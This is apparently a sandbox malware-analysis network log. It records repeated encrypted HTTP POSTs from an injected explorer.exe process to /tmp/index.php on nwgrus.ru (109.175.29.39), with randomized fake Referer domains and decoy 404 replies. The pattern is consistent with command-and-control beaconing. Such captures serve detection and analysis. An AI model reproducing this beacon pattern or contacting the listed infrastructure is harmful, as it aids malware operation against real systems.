Oct 8, 2024 00:20:08.185679913 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:08 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:08.205815077 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mjtfeuwpovhathn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: nwgrus.ru
Oct 8, 2024 00:20:08.205854893 CEST	112	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 2f 3e a8 8c Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu/>}D!DIcyX
Oct 8, 2024 00:20:08.987888098 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:08 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:08.997863054 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nggsthvsetexec.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 255 Host: nwgrus.ru
Oct 8, 2024 00:20:08.997879982 CEST	255	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 28 2e d2 e0 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu(.MMbDco L+nhqP8>b"A9M\8,wg9*v[>z<n~xOlSc<&$hpZXFqf`zm
Oct 8, 2024 00:20:09.998981953 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:09 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:10.009479046 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lrkgjwlbfxyrmp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 225 Host: nwgrus.ru
Oct 8, 2024 00:20:10.009502888 CEST	225	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 43 0d ee ff Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuCM4@R`n1`9u3ytw[88J*N->H]Xrb"a4{wSA8')?:4Dn
Oct 8, 2024 00:20:10.795332909 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:10 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:10.804972887 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wvxsqrgovrq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: nwgrus.ru
Oct 8, 2024 00:20:10.804992914 CEST	205	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 46 34 a1 f9 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuF4[W\r}'@{OKhed6_Ls':>sZ'U5gS%N$VSQ/
Oct 8, 2024 00:20:11.584964037 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:11 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:11.597956896 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ivjlkhscvhyfno.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 151 Host: nwgrus.ru
Oct 8, 2024 00:20:11.597990990 CEST	151	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 45 5d fc ae Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuE]M2yaV}v`/A,WW)b{\|HY%KR(BPUw
Oct 8, 2024 00:20:12.351321936 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:12 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:12.361294985 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gwvqwjkmpeg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 204 Host: nwgrus.ru
Oct 8, 2024 00:20:12.361305952 CEST	204	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 2e 09 a4 b6 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu.vNbkv!=.kM`3xE*M]gEQ2bbI8SrR,[iH
Oct 8, 2024 00:20:13.116003990 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:12 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:13.360466957 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cqnqsxdlukmk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 302 Host: nwgrus.ru
Oct 8, 2024 00:20:13.360500097 CEST	302	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 71 3d d4 a2 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuq=c[GYcb2[;;b5#pEDh)U@@T8!})C<^.zu{ZcMuk. r`tCHJ
Oct 8, 2024 00:20:14.108429909 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:13 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49757	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:14.118573904 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dlawyaqdtqgx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: nwgrus.ru
Oct 8, 2024 00:20:14.118573904 CEST	357	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 59 01 ec e1 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuYo7qCRwMVl^`4}`UuM*%?.<>Sz^36KWBu/#lWV0!m[oe4F/eBxc<
Oct 8, 2024 00:20:14.977386951 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:14 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:14.987154961 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gxrfdgbwqcu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: nwgrus.ru
Oct 8, 2024 00:20:14.987200975 CEST	368	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 47 29 a2 8e Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuG)^\FK=DBkw}rpk{2%'M%)[Kw<MfI[*^J8knV$^7dxAY)CWG~!Y5
Oct 8, 2024 00:20:15.764854908 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:15 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:15.980737925 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mihbhgkrdwqnogym.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 287 Host: nwgrus.ru
Oct 8, 2024 00:20:15.982208014 CEST	287	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 28 27 b9 8e Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu('W4gHeas%9dKu>\_1\f Py #@s?Kb3']K]G 5j@KG]ai%:)X
Oct 8, 2024 00:20:16.759238005 CEST	189	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:16 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49761	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:18.648441076 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bhprxmbpfsifjwvd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 187 Host: nwgrus.ru
Oct 8, 2024 00:20:18.648473978 CEST	187	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 1c 6b 2c 90 f4 76 0b 75 38 59 cc eb Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA ,[k,vu8YU_}ymz:xA:)<]F:<[E#F&F&4TWNj!? <MLx3
